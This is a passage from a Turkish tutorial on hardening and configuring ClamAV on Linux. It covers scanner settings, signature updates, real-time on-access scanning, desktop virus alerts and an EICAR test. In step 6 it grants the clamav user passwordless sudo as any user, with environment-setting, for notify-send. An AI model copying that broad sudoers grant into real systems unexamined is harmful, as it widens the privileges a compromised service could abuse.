href="https://docs.clamav.net/manual/Usage/Scanning.html#clamd-v0101" rel="noopener noreferrer" target="_blank">TCP Socket Configuration</a></li> </ul> <p>Ayr&inodot;ca, <code>LocalSocket</code> kullan&inodot;rken <code>clamd</code>'nin, taramay&inodot; planlad&inodot;&gbreve;&inodot;n&inodot;z dosyalara eri&scedil;im izni olan bir kullan&inodot;c&inodot; (genellikle <code>clamav</code> kullan&inodot;c&inodot;s&inodot;) alt&inodot;nda &ccedil;al&inodot;&scedil;mas&inodot; gerekti&gbreve;ini unutmay&inodot;n.</p> <hr/> <h3 id="adm-2-yaplandrma-dosyalarn-olusturma">Ad&inodot;m 2: Yap&inodot;land&inodot;rma Dosyalar&inodot;n&inodot; Olu&scedil;turma<a class="headerlink" href="#adm-2-yaplandrma-dosyalarn-olusturma" title="Permanent link">#</a></h3> <p>Paketi kurunca varsay&inodot;lan <code>.conf</code> dosyalar&inodot; gelmeli. E&gbreve;er gelmezse veya s&inodot;f&inodot;rdan olu&scedil;turmak isterseniz, <code>clamconf</code> bunun i&ccedil;in var:</p> <div class="highlight"><pre><span></span><code><span class="c1"># Gerekirse (genellikle gerekmez)</span> <span class="c1"># sudo clamconf -g freshclam.conf &gt; /etc/clamav/freshclam.conf</span> <span class="c1"># sudo clamconf -g clamd.conf &gt; /etc/clamav/clamd.conf</span> <span class="c1"># sudo clamconf -g clamav-milter.conf &gt; /etc/clamav/clamav-milter.conf</span> </code></pre></div> <p>Ana yap&inodot;land&inodot;rma dosyalar&inodot;m&inodot;z &scedil;unlar:</p> <ul> <li><strong><code>freshclam</code></strong>: <code>/etc/clamav/freshclam.conf</code> (G&uuml;ncellemeler i&ccedil;in)</li> <li><strong><code>clamd</code></strong>: <code>/etc/clamav/clamd.conf</code> (Daemon'un beyni)</li> <li><strong><code>clamd milter</code></strong>: <code>/etc/clamav/clamav-milter.conf</code> (E-posta filtresi i&ccedil;in)</li> </ul> <p>&Idot;&scedil;iniz bitti&gbreve;inde <code>clamconf</code> komutunu &ccedil;al&inodot;&scedil;t&inodot;rarak ayarlar&inodot;n&inodot;z&inodot; kontrol edebilirsiniz. Varsay&inodot;lan kurulum zaten <code>clamav</code> kullan&inodot;c&inodot;s&inodot;n&inodot;, grubunu ve gerekli <code>clamd</code> ayarlar&inodot;n&inodot; "makul" bir seviyede yapar.</p> <p>Ama biz "makul" ile yetinmeyece&gbreve;iz.</p> <hr/> <h3 id="adm-3-clamdconf-canavarn-beyni-tam-surum">Ad&inodot;m 3: <code>clamd.conf</code> &ndash; Canavar&inodot;n Beyni (Tam S&uuml;r&uuml;m)<a class="headerlink" href="#adm-3-clamdconf-canavarn-beyni-tam-surum" title="Permanent link">#</a></h3> <p><code>sudo nano /etc/clamav/clamd.conf</code> ile dosyay&inodot; a&ccedil;&inodot;n ve a&scedil;a&gbreve;&inodot;daki ayarlar&inodot; bulun, <code>#</code> i&scedil;aretini kald&inodot;r&inodot;n veya ekleyin. Bu, benim &ouml;nerdi&gbreve;im "paranoyak ama performansl&inodot;" ayar listesidir:</p> <div class="highlight"><pre><span></span><code><span class="c1"># /etc/clamav/clamd.conf</span> <span class="c1"># Her mesaja zaman damgas&inodot; ekle. Hata ay&inodot;klarken hayat kurtar&inodot;r.</span> <span class="c1"># Varsay&inodot;lan: no</span> <span class="na">LogTime yes</span> <span class="c1"># Vir&uuml;s bulundu&gbreve;unda dosya boyutu, hash gibi EK bilgiler ver.</span> <span class="na">ExtendedDetectionInfo yes</span> <span class="c1"># G&uuml;venlik i&ccedil;in &Scedil;ART. Daemon'u 'clamav' kullan&inodot;c&inodot;s&inodot; olarak &ccedil;al&inodot;&scedil;t&inodot;r.</span> <span class="c1"># (clamd'nin root olarak ba&scedil;lat&inodot;lmas&inodot; gerekir ki bu de&gbreve;i&scedil;ikli&gbreve;i yapabilsin)</span> <span class="c1"># Varsay&inodot;lan: ayr&inodot;cal&inodot;klar&inodot; d&uuml;&scedil;&uuml;rme</span> <span class="na">User clamav</span> <span class="c1"># Dizinlerin ne kadar derinine inecek?</span> <span class="c1"># Varsay&inodot;lan: 15</span> <span class="na">MaxDirectoryRecursion 20</span> <span class="c1"># Potansiyel Olarak &Idot;stenmeyen Uygulamalar&inodot; (PUA) alg&inodot;la.</span> <span class="c1"># Torrent'ten inen 'tool'lar genelde PUA say&inodot;l&inodot;r. Kesinlikle 'yes'.</span> <span class="na">DetectPUA yes</span> <span class="c1"># Sezgisel (Heuristic) taramay&inodot; a&ccedil;. Bilinmeyen ama &scedil;&uuml;pheli g&ouml;r&uuml;nenleri yakalar.</span> <span class="na">HeuristicAlerts yes</span> <span class="c1"># === Tarama Hedefleri (Hepsini a&ccedil;&inodot;yoruz) ===</span> <span class="na">ScanPE yes</span> <span class="na">ScanELF yes</span> <span class="na">ScanOLE2 yes</span> <span class="na">ScanPDF yes</span> <span class="na">ScanSWF yes</span> <span class="na">ScanXMLDOCS yes</span> <span class="na">ScanHWP3 yes</span> <span class="na">ScanOneNote yes</span> <span class="na">ScanMail yes</span> <span class="na">ScanHTML yes</span> <span class="na">ScanArchive yes</span> <span class="na">Bytecode yes</span> <span class="c1"># === Uyar&inodot;lar (Bunlar da a&ccedil;&inodot;ls&inodot;n) ===</span> <span class="na">AlertBrokenExecutables yes</span> <span class="na">AlertBrokenMedia yes</span> <span class="na">AlertEncrypted yes</span> <span class="na">AlertEncryptedArchive yes</span> <span class="na">AlertEncryptedDoc yes</span> <span class="na">AlertOLE2Macros yes</span> <span class="na">AlertPartitionIntersection yes</span> </code></pre></div> <hr/> <h3 id="adm-4-veritabann-guncelleme-freshclam">Ad&inodot;m 4: Veritaban&inodot;n&inodot; G&uuml;ncelleme (<code>freshclam</code>)<a class="headerlink" href="#adm-4-veritabann-guncelleme-freshclam" title="Permanent link">#</a></h3> <p>Daemon'u &ccedil;al&inodot;&scedil;t&inodot;rmadan &ouml;nce veritaban&inodot;na ihtiyac&inodot;m&inodot;z var.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Manuel olarak g&uuml;ncelle (ilk &ccedil;al&inodot;&scedil;t&inodot;rma i&ccedil;in &scedil;art)</span> sudo<span class="w"> </span>freshclam </code></pre></div> <p>E&gbreve;er bir proxy arkas&inodot;ndaysan&inodot;z, <code>/etc/clamav/freshclam.conf</code> dosyas&inodot;ndaki <code>HTTPProxyServer</code>, <code>HTTPProxyPort</code> vb. ayarlar&inodot; d&uuml;zenleyin.</p> <p>Veritaban&inodot; dosyalar&inodot; (<code>daily.cvd</code>, <code>main.cvd</code>, <code>bytecode.cvd</code>) <code>/var/lib/clamav/</code> i&ccedil;ine kaydedilir.</p> <h4 id="otomatik-guncellemeler-service-vs-timer">Otomatik G&uuml;ncellemeler: Service vs. Timer<a class="headerlink" href="#otomatik-guncellemeler-service-vs-timer" title="Permanent link">#</a></h4> <p>Otomatik g&uuml;ncelleme i&ccedil;in <strong>iki</strong> se&ccedil;ene&gbreve;iniz var. &Idot;kisini birden &ccedil;al&inodot;&scedil;t&inodot;rmay&inodot;n</p> <ol> <li> <p><strong><code>clamav-freshclam.service</code> (Daemon Modu):</strong></p> <ul> <li>Bu, <code>freshclam</code>'i bir daemon olarak &ccedil;al&inodot;&scedil;t&inodot;r&inodot;r ve varsay&inodot;lan olarak g&uuml;nde 12 kez (2 saatte bir) g&uuml;ncelleme kontrol&uuml; yapar.</li> <li><strong>Not:</strong> Bu servis her ba&scedil;lad&inodot;&gbreve;&inodot;nda da kontrol yapar. Saatte 1'den fazla kontrol yaparsan&inodot;z ClamAV CDN'inden 24 saatli&gbreve;ine <strong>yasaklan&inodot;rs&inodot;n&inodot;z</strong>.</li> </ul> </li> <li> <p><strong><code>clamav-freshclam-once.timer</code> (Timer Modu):</strong></p> <ul> <li>Bu, <code>freshclam</code>'i g&uuml;nde bir kez &ccedil;al&inodot;&scedil;t&inodot;ran bir systemd zamanlay&inodot;c&inodot;s&inodot;d&inodot;r.</li> <li><strong>Not:</strong> Bu zamanlay&inodot;c&inodot;, yeniden ba&scedil;latmalardan veya servis durmalar&inodot;ndan ba&gbreve;&inodot;ms&inodot;z olarak belirledi&gbreve;iniz programa uyar.</li> </ul> </li> </ol> <p>Ben genellikle <code>.service</code> olan&inodot; tercih ediyorum.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Gerekli log dosyas&inodot;n&inodot; olu&scedil;tural&inodot;m (izinler &ouml;nemli)</span> sudo<span class="w"> </span>touch<span class="w"> </span>/var/log/clamav/freshclam.log sudo<span class="w"> </span>chmod<span class="w"> </span><span class="m">600</span><span class="w"> </span>/var/log/clamav/freshclam.log sudo<span class="w"> </span>chown<span class="w"> </span>clamav<span class="w"> </span>/var/log/clamav/freshclam.log <span class="c1"># Se&ccedil;enek 1: Service'i ba&scedil;lat (Tavsiye edilen)</span> sudo<span class="w"> </span>systemctl<span class="w"> </span>start<span class="w"> </span>clamav-freshclam.service sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>clamav-freshclam.service <span class="c1"># Se&ccedil;enek 2: Timer'&inodot; ba&scedil;lat (Alternatif)</span> <span class="c1"># sudo systemctl start clamav-freshclam-once.timer</span> <span class="c1"># sudo systemctl enable clamav-freshclam-once.timer</span> </code></pre></div> <hr/> <h3 id="adm-5-gercek-zamanl-koruma-onaccessscan">Ad&inodot;m 5: Ger&ccedil;ek Zamanl&inodot; Koruma (OnAccessScan)<a class="headerlink" href="#adm-5-gercek-zamanl-koruma-onaccessscan" title="Permanent link">#</a></h3> <p>Buras&inodot; i&scedil;in en zevkli k&inodot;sm&inodot;. Torrent'ten inen dosyan&inodot;n daha iner inmez taranmas&inodot;.</p> <h4 id="a-temel-yaplandrma">A. Temel Yap&inodot;land&inodot;rma<a class="headerlink" href="#a-temel-yaplandrma" title="Permanent link">#</a></h4> <p><code>sudo nano /etc/clamav/clamd.conf</code> dosyas&inodot;na geri d&ouml;n&uuml;n ve &scedil;u sat&inodot;rlar&inodot; ekleyin/d&uuml;zenleyin:</p> <div class="highlight"><pre><span></span><code><span class="c1"># /etc/clamav/clamd.conf (EKLENECEK KISIM)</span> <span class="c1"># Taray&inodot;c&inodot;n&inodot;n kendi kullan&inodot;c&inodot;s&inodot;n&inodot; (clamav) tarama d&ouml;ng&uuml;s&uuml;nden &ccedil;&inodot;kar.</span> <span class="na">OnAccessExcludeUname clamav</span> <span class="c1"># &Idot;zlenecek ba&gbreve;lama noktas&inodot; (mount point). '/' t&uuml;m sistemi izler.</span> <span class="na">OnAccessMountPath /</span> <span class="c1"># Alternatif olarak sadece belirli dizinleri de izleyebilirsiniz:</span> <span class="c1"># OnAccessIncludePath /home</span> <span class="c1"># YEN&Idot; OLU&Scedil;TURULAN, TA&Scedil;INAN veya YEN&Idot;DEN ADLANDIRILAN dosyalar&inodot; tara.</span> <span class="na">OnAccessExtraScanning yes</span> <span class="c1"># Opsiyonel: Root kullan&inodot;c&inodot;s&inodot;na ait i&scedil;lemleri d&inodot;&scedil;ar&inodot;da b&inodot;rak</span> <span class="c1"># OnAccessExcludeRootUID true</span> </code></pre></div> <div class="admonition danger"> <p class="admonition-title">Engelleme (Prevention) Ayar&inodot;: &Ccedil;OK KR&Idot;T&Idot;K <code>OnAccessPrevention no</code> ayar&inodot;n&inodot; <strong>MUTLAKA <code>no</code></strong> olarak b&inodot;rak&inodot;n.</p> </div> <div class="admonition note"> <p class="admonition-title"><code>OnAccessMountPath</code> ile engelleme (<code>yes</code>) zaten &ccedil;al&inodot;&scedil;maz. <code>OnAccessIncludePath</code> ile &ccedil;al&inodot;&scedil;&inodot;r ama <code>/usr</code>, <code>/etc</code> veya <code>/var</code> gibi sistem dizinlerini izlerken bunu <code>yes</code> yaparsan&inodot;z, Arch Wiki'nin de uyard&inodot;&gbreve;&inodot; gibi, <strong>paket kurulumlar&inodot;n&inodot;z&inodot; 1000 kat yava&scedil;latabilirsiniz.</strong> Bizim amac&inodot;m&inodot;z 'engellemek' de&gbreve;il, 'tespit edip haberdar olmak'</p> </div> <h4 id="b-fdpass-ile-izin-sorununu-asmak-ileri-seviye">B. <code>fdpass</code> ile &Idot;zin Sorununu A&scedil;mak (&Idot;leri Seviye)<a class="headerlink" href="#b-fdpass-ile-izin-sorununu-asmak-ileri-seviye" title="Permanent link">#</a></h4> <p>Varsay&inodot;lan olarak <code>clamonacc</code> (root olarak &ccedil;al&inodot;&scedil;&inodot;r), <code>clamd</code>'ye (clamav olarak &ccedil;al&inodot;&scedil;&inodot;r) sadece eri&scedil;ilen <em>dosya adlar&inodot;n&inodot;</em> yollar. E&gbreve;er <code>clamav</code> kullan&inodot;c&inodot;s&inodot;n&inodot;n o dosyaya okuma izni yoksa, tarama ba&scedil;ar&inodot;s&inodot;z olur.</p> <p>&Ccedil;&ouml;z&uuml;m: <code>clamonacc</code>'nin <code>clamd</code>'ye dosya tan&inodot;mlay&inodot;c&inodot;s&inodot;n&inodot; (file descriptor) ge&ccedil;mesini sa&gbreve;lamak (<code>fdpass</code>).</p> <p>Bunun i&ccedil;in <code>clamav-clamonacc.service</code> servisini d&uuml;zenlememiz gerek:</p> <div class="highlight"><pre><span></span><code><span class="c1"># systemd servis dosyas&inodot;n&inodot; d&uuml;zenlemek i&ccedil;in</span> sudo<span class="w"> </span>systemctl<span class="w"> </span>edit<span class="w"> </span>clamav-clamonacc.service </code></pre></div> <p>A&ccedil;&inodot;lan bo&scedil; dosyaya &scedil;unlar&inodot; yap&inodot;&scedil;t&inodot;r&inodot;n:</p> <div class="highlight"><pre><span></span><code><span class="k">[Service]</span> <span class="na">ExecStart</span><span class="o">=</span> <span class="na">ExecStart</span><span class="o">=</span><span class="s">/usr/sbin/clamonacc -F --fdpass --log=/var/log/clamav/clamonacc.log</span> </code></pre></div> <p>Bu, mevcut <code>ExecStart</code> komutunu siler ve yerine <code>--fdpass</code> bayra&gbreve;&inodot;yla yenisini ekler.</p> <hr/> <h3 id="adm-6-masaustu-bildirimlerini-ayarlama">Ad&inodot;m 6: Masa&uuml;st&uuml; Bildirimlerini Ayarlama<a class="headerlink" href="#adm-6-masaustu-bildirimlerini-ayarlama" title="Permanent link">#</a></h3> <p>&Scedil;u ana kadar ClamAV, bir vir&uuml;s buldu&gbreve;unda bunu sadece log dosyas&inodot;na sessizce yazar. Biz ise masa&uuml;st&uuml;m&uuml;zde bir uyar&inodot; g&ouml;rmek istiyoruz.</p> <p><strong>1. <code>clamd.conf</code>'u D&uuml;zenle</strong></p> <p><code>sudo nano /etc/clamav/clamd.conf</code> i&ccedil;ine &scedil;u sat&inodot;r&inodot; ekleyin:</p> <div class="highlight"><pre><span></span><code><span class="na">VirusEvent /etc/clamav/virus-event.bash</span> </code></pre></div> <p>Bu, <code>clamd</code>'ye "vir&uuml;s buldu&gbreve;unda bu beti&gbreve;i &ccedil;al&inodot;&scedil;t&inodot;r" der.</p> <p><strong>2. <code>sudoers</code> &Idot;zni Ver</strong></p> <p><code>clamav</code> kullan&inodot;c&inodot;s&inodot;n&inodot;n, di&gbreve;er kullan&inodot;c&inodot;lar ad&inodot;na <code>notify-send</code> komutunu &ccedil;al&inodot;&scedil;t&inodot;rmas&inodot;na izin vermeliyiz.</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>visudo<span class="w"> </span>-f<span class="w"> </span>/etc/sudoers.d/clamav </code></pre></div> <p>A&ccedil;&inodot;lan bo&scedil; dosyaya &scedil;u sat&inodot;r&inodot; ekleyin:</p> <div class="highlight"><pre><span></span><code><span class="nv">clamav</span><span class="w"> </span><span class="nv">ALL</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ss">(</span><span class="nv">ALL</span><span class="ss">)</span><span class="w"> </span><span class="nv">NOPASSWD</span>:<span class="w"> </span><span class="k">SETENV</span>:<span class="w"> </span><span class="o">/</span><span class="nv">usr</span><span class="o">/</span><span class="nv">bin</span><span class="o">/</span><span class="nv">notify</span><span class="o">-</span><span class="k">send</span> </code></pre></div> <p><strong>3. <code>virus-event.bash</code> Beti&gbreve;ini Olu&scedil;tur</strong></p> <p>&Scedil;imdi o beti&gbreve;i olu&scedil;tural&inodot;m:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>nano<span class="w"> </span>/etc/clamav/virus-event.bash </code></pre></div> <p>&Idot;&ccedil;ine &scedil;unu yap&inodot;&scedil;t&inodot;r&inodot;n:</p> <div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span> <span class="nv">PATH</span><span class="o">=</span>/usr/bin <span class="nv">ALERT</span><span class="o">=</span><span class="s2">"ClamAV &Idot;mza Tespiti: </span><span class="nv">$CLAM_VIRUSEVENT_VIRUSNAME</span><span class="s2"> -&gt; </span><span class="nv">$CLAM_VIRUSEVENT_FILENAME</span><span class="s2">"</span> <span class="c1"># T&uuml;m aktif grafiksel kullan&inodot;c&inodot;lara bildirim g&ouml;nder</span> <span class="k">for</span><span class="w"> </span>ADDRESS<span class="w"> </span><span class="k">in</span><span class="w"> </span>/run/user/*<span class="p">;</span><span class="w"> </span><span class="k">do</span> <span class="w"> </span><span class="nv">USERID</span><span class="o">=</span><span class="si">${</span><span class="nv">ADDRESS</span><span class="p">#/run/user/</span><span class="si">}</span> <span class="w"> </span>/usr/bin/sudo<span class="w"> </span>-u<span class="w"> </span><span class="s2">"#</span><span class="nv">$USERID</span><span class="s2">"</span><span class="w"> </span><span class="nv">DBUS_SESSION_BUS_ADDRESS</span><span class="o">=</span><span class="s2">"unix:path=</span><span class="nv">$ADDRESS</span><span class="s2">/bus"</span><span class="w"> </span><span class="nv">PATH</span><span class="o">=</span><span class="si">${</span><span class="nv">PATH</span><span class="si">}</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>/usr/bin/notify-send<span class="w"> </span>-u<span class="w"> </span>critical<span class="w"> </span>-i<span class="w"> </span>dialog-warning<span class="w"> </span><span class="s2">"V&Idot;R&Uuml;S BULUNDU!"</span><span class="w"> </span><span class="s2">"</span><span class="nv">$ALERT</span><span class="s2">"</span> <span class="k">done</span> </code></pre></div> <p><strong>4. Beti&gbreve;i &Ccedil;al&inodot;&scedil;t&inodot;r&inodot;labilir Yap</strong></p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>chmod<span class="w"> </span>+x<span class="w"> </span>/etc/clamav/virus-event.bash </code></pre></div> <p>Art&inodot;k <code>clamd</code>'nin OnAccess taramas&inodot; bir &scedil;ey buldu&gbreve;unda masa&uuml;st&uuml;n&uuml;zde kritik bir bildirim g&ouml;receksiniz.</p> <hr/> <h3 id="adm-7-servisleri-baslatma-motoru-atesleme">Ad&inodot;m 7: Servisleri Ba&scedil;latma (Motoru Ate&scedil;leme)<a class="headerlink" href="#adm-7-servisleri-baslatma-motoru-atesleme" title="Permanent link">#</a></h3> <p>Art&inodot;k her &scedil;ey haz&inodot;r. &Ouml;nce veritaban&inodot;n&inodot; g&uuml;ncelledi&gbreve;inizden emin olun (Ad&inodot;m 4).</p> <div class="admonition warning"> <p class="admonition-title">RAM Uyar&inodot;s&inodot; Daemon'u ba&scedil;latmak t&uuml;m vir&uuml;s imzalar&inodot;n&inodot; RAM'e y&uuml;kler. &Scedil;ubat 2024 itibar&inodot;yla bu, <strong>en az 1.6 GB bo&scedil; RAM</strong> gerektirir. G&uuml;ncelleme an&inodot;nda bu ihtiya&ccedil; anl&inodot;k olarak iki kat&inodot;na &ccedil;&inodot;kabilir. D&uuml;&scedil;&uuml;k RAM'li sistemlerde (<code>clamd</code> ba&scedil;lamazsa) swap alan&inodot; olu&scedil;turman&inodot;z gerekebilir.</p> </div> <div class="highlight"><pre><span></span><code><span class="c1"># Ana daemon'u ba&scedil;lat</span> sudo<span class="w"> </span>systemctl<span class="w"> </span>start<span class="w"> </span>clamav-daemon.service sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>clamav-daemon.service <span class="c1"># Ger&ccedil;ek zamanl&inodot; koruma daemon'unu ba&scedil;lat</span> sudo<span class="w"> </span>systemctl<span class="w"> </span>start<span class="w"> </span>clamav-clamonacc.service sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>clamav-clamonacc.service </code></pre></div> <p>E&gbreve;er <code>AppArmor</code> (Ubuntu/Debian'da yayg&inodot;nd&inodot;r) <code>clamd</code> hakk&inodot;nda hata verirse, profili &scedil;ikayet moduna al&inodot;n: <code>sudo aa-complain clamd</code></p> <hr/> <h3 id="adm-8-test-surusu-eicar">Ad&inodot;m 8: Test S&uuml;r&uuml;&scedil;&uuml; (EICAR)<a class="headerlink" href="#adm-8-test-surusu-eicar" title="Permanent link">#</a></h3> <p>Sistemimiz &ccedil;al&inodot;&scedil;&inodot;yor mu? <code>EICAR</code> ad&inodot; verilen zarars&inodot;z bir test dosyas&inodot;yla kontrol edelim.</p> <p><strong>Test 1: Manuel Tarama (Daemon ile)</strong></p> <div class="highlight"><pre><span></span><code>curl<span class="w"> </span>https://secure.eicar.org/eicar.com.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>clamdscan<span class="w"> </span>- </code></pre></div> <p>&Ccedil;&inodot;kt&inodot;da <code>stdin: Win.Test.EICAR_HDB-1 FOUND</code> g&ouml;rmelisiniz. <code>clamscan</code> de&gbreve;il, <code>clamdscan</code> kulland&inodot;&gbreve;&inodot;m&inodot;za dikkat edin.</p> <p><strong>Test 2: Ger&ccedil;ek Zamanl&inodot; Koruma</strong></p> <p>&Idot;zledi&gbreve;iniz bir dizine (&ouml;rn: &Idot;ndirilenler) EICAR dosyas&inodot;n&inodot; indirmeyi deneyin:</p> <div class="highlight"><pre><span></span><code><span class="nb">cd</span><span class="w"> </span>~/&Idot;ndirilenler/ wget<span class="w"> </span>https://secure.eicar.org/eicar.com.txt </code></pre></div> <p>Dosya iner inmez (veya <code>cat eicar.com.txt</code> ile okumaya &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot;n&inodot;zda) Ad&inodot;m 6'da ayarlad&inodot;&gbreve;&inodot;n&inodot;z masa&uuml;st&uuml; bildiriminin patlamas&inodot; gerekir</p> <hr/> <h3 id="adm-9-daha-fazla-goz-ekstra-veritabanlar">Ad&inodot;m 9: Daha Fazla G&ouml;z (Ekstra Veritabanlar&inodot;)<a class="headerlink" href="#adm-9-daha-fazla-goz-ekstra-veritabanlar" title="Permanent link">#</a></h3> <p>ClamAV'nin resmi imzalar&inodot; iyidir, ancak topluluk taraf&inodot;ndan y&ouml;netilen ek veritabanlar&inodot;yla (MalwarePatrol, SecuriteInfo, Yara, LMD imzalar&inodot; vb.) g&uuml;c&uuml;ne g&uuml;&ccedil; katabiliriz.</p> <p>Bunun i&ccedil;in AUR'dan iki ara&ccedil;tan birini kurabilirsiniz:</p> <ol> <li><strong><code>python-fangfrisch</code> (AUR)</strong>: <code>clamav-unofficial-sigs</code>'in yerine ge&ccedil;en, daha g&uuml;venli, esnek ve modern bir ara&ccedil; olarak tasarlanm&inodot;&scedil;t&inodot;r. <strong>Tavsiye edilen budur.</strong></li> <li><strong><code>clamav-unofficial-sigs</code> (AUR)</strong>: Eski ve yayg&inodot;n olan ara&ccedil;.</li> </ol> <h4 id="secenek-1-fangfrisch-kurulumu-tavsiye-edilen">Se&ccedil;enek 1: Fangfrisch Kurulumu (Tavsiye edilen)<a class="headerlink" href="#secenek-1-fangfrisch-kurulumu-tavsiye-edilen" title="Permanent link">#</a></h4> <p><code>yay -S python-fangfrisch</code> (veya kulland&inodot;&gbreve;&inodot;n&inodot;z AUR yard&inodot;mc&inodot;s&inodot;) ile kurun.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Yap&inodot;land&inodot;rmas&inodot; &ccedil;ok basittir (/etc/fangfrisch/fangfrisch.conf)</span> <span class="c1"># Asla root izni gerektirmemesi en b&uuml;y&uuml;k avantaj&inodot;d&inodot;r.</span> <span class="c1"># Veritaban&inodot; yap&inodot;s&inodot;n&inodot; 'clamav' kullan&inodot;c&inodot;s&inodot; olarak ba&scedil;lat</span> sudo<span class="w"> </span>-u<span class="w"> </span>clamav<span class="w"> </span>/usr/bin/fangfrisch<span class="w"> </span>--conf<span class="w"> </span>/etc/fangfrisch/fangfrisch.conf<span class="w"> </span>initdb <span class="c1"># Zamanlay&inodot;c&inodot;y&inodot; etkinle&scedil;tir</span> sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>fangfrisch.timer </code></pre></div> <h4 id="secenek-2-clamav-unofficial-sigs-kurulumu-alternatif">Se&ccedil;enek 2: clamav-unofficial-sigs Kurulumu (Alternatif)<a class="headerlink" href="#secenek-2-clamav-unofficial-sigs-kurulumu-alternatif" title="Permanent link">#</a></h4> <p><code>yay -S clamav-unofficial-sigs</code> ile kurun.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Zamanlay&inodot;c&inodot;y&inodot; etkinle&scedil;tir</span> sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>clamav-unofficial-sigs.timer <span class="c1"># Manuel &ccedil;al&inodot;&scedil;t&inodot;rmak i&ccedil;in</span> <span class="c1"># sudo clamav-unofficial-sigs.sh</span> <span class="c1"># Ayar dosyas&inodot;: /etc/clamav-unofficial-sigs/user.conf</span> </code></pre></div> <p><strong>MalwarePatrol Veritaban&inodot;n&inodot; Eklemek (&Idot;ste&gbreve;e ba&gbreve;l&inodot;):</strong> E&gbreve;er MalwarePatrol kullanmak isterseniz (&uuml;cretli/&uuml;cretsiz planlar&inodot; var), <a href="https://malwareblocklist.org/" rel="noopener noreferrer" target="_blank">Malware Block List</a> adresinden kaydolun. Sonra (<code>clamav-unofficial-sigs</code> kullan&inodot;yorsan&inodot;z) <code>/etc/clamav-unofficial-sigs/user.conf</code> dosyas&inodot;n&inodot; d&uuml;zenleyin:</p> <div class="highlight"><pre><span></span><code><span class="na">malwarepatrol_receipt_code</span><span class="o">=</span><span class="s">"BURAYA_FATURA_NUMARANIZ"</span> <span class="na">malwarepatrol_product_code</span><span class="o">=</span><span class="s">"8"</span><span class="w"> </span><span class="c1"># &Uuml;cretsiz hesap i&ccedil;in 8, Premium i&ccedil;in 15</span> <span class="na">malwarepatrol_list</span><span class="o">=</span><span class="s">"clamav_basic"</span><span class="w"> </span><span class="c1"># basic veya ext</span> <span class="na">malwarepatrol_free</span><span class="o">=</span><span class="s">"yes"</span><span class="w"> </span><span class="c1"># &Uuml;cretsizse yes, Premium ise no</span> </code></pre></div> <hr/> <h3 id="adm-10-manuel-tarama-secenekleri">Ad&inodot;m 10: Manuel Tarama Se&ccedil;enekleri<a class="headerlink" href="#adm-10-manuel-tarama-secenekleri" title="Permanent link">#</a></h3> <p>Daemon &ccedil;al&inodot;&scedil;&inodot;rken bile manuel tarama yapmak isteyebilirsiniz.</p> <ol> <li> <p><strong><code>clamscan</code> (Standart/Eski Y&ouml;ntem):</strong></p> <ul> <li>Bu, daemon'u <strong>kullanmaz</strong>. Her seferinde t&uuml;m veritaban&inodot;n&inodot; RAM'e yeniden y&uuml;kler.</li> <li>Yava&scedil;t&inodot;r. Sadece <code>clamd</code> &ccedil;al&inodot;&scedil;m&inodot;yorsa kullan&inodot;n.</li> <li><code>clamscan --recursive --infected /home/kullanici</code></li> <li><code>--remove</code>: Bulunan dosyay&inodot; siler (Tehlikeli).</li> <li><code>--move=/guvenli/dizin</code>: Karantinaya ta&scedil;&inodot;r (Daha g&uuml;venli).</li> <li><code>--max-filesize=4000M --max-scansize=4000M</code>: Varsay&inodot;landan b&uuml;y&uuml;k dosyalar&inodot; tarar.</li> <li><code>-l /path/to/logfile.log</code>: Sonu&ccedil;lar&inodot; dosyaya yazar.</li> </ul> </li> <li> <p><strong><code>clamdscan</code> (Daemon/H&inodot;zl&inodot; Y&ouml;ntem):</strong></p> <ul> <li>Bu, arka planda &ccedil;al&inodot;&scedil;an <code>clamd</code>'ye i&scedil;i paslar. <strong>S&uuml;per h&inodot;zl&inodot;d&inodot;r.</strong></li> <li>&Ccedil;o&gbreve;u ayar&inodot; (<code>--max-filesize</code> vb.) <code>clamd.conf</code>'tan okur.</li> <li><code>clamdscan /home/kullanici</code></li> </ul> </li> </ol> <hr/> <h3 id="adm-11-ipuclar-ve-hileler-pro-seviye">Ad&inodot;m 11: &Idot;pu&ccedil;lar&inodot; ve Hileler (Pro Seviye)<a class="headerlink" href="#adm-11-ipuclar-ve-hileler-pro-seviye" title="Permanent link">#</a></h3> <h4 id="coklu-cekirdek-kullanm">&Ccedil;oklu &Ccedil;ekirdek Kullan&inodot;m&inodot;<a class="headerlink" href="#coklu-cekirdek-kullanm" title="Permanent link">#</a></h4> <ol> <li> <p><strong><code>clamscan</code> ile (K&Ouml;T&Uuml; Y&Ouml;NTEM):</strong> <code>clamscan</code> tek &ccedil;ekirdekte &ccedil;al&inodot;&scedil;&inodot;r. <code>xargs</code> ile paralelle&scedil;tirebilirsiniz: <code>find /home/kullanici -type f -print0 | xargs -0 -P $(nproc) clamscan</code> <strong>YAPMAYIN:</strong> Bu, i&scedil;lemci say&inodot;s&inodot; kadar <code>clamscan</code> i&scedil;lemi ba&scedil;lat&inodot;r ve her biri veritaban&inodot;n&inodot; RAM'e y&uuml;kler. 16 &ccedil;ekirde&gbreve;iniz varsa 1.6GB * 16 = \~25GB RAM'e ihtiya&ccedil; duyar. Sisteminizi kilitler.</p> </li> <li> <p><strong><code>clamdscan</code> ile (DO&Gbreve;RU Y&Ouml;NTEM):</strong> <code>clamd</code> zaten &ccedil;oklu &ccedil;ekirdek i&ccedil;in tasarlanm&inodot;&scedil;t&inodot;r. <code>clamdscan --multiscan --fdpass /home/kullanici</code></p> <ul> <li><code>--multiscan</code>: <code>clamd.conf</code>'taki 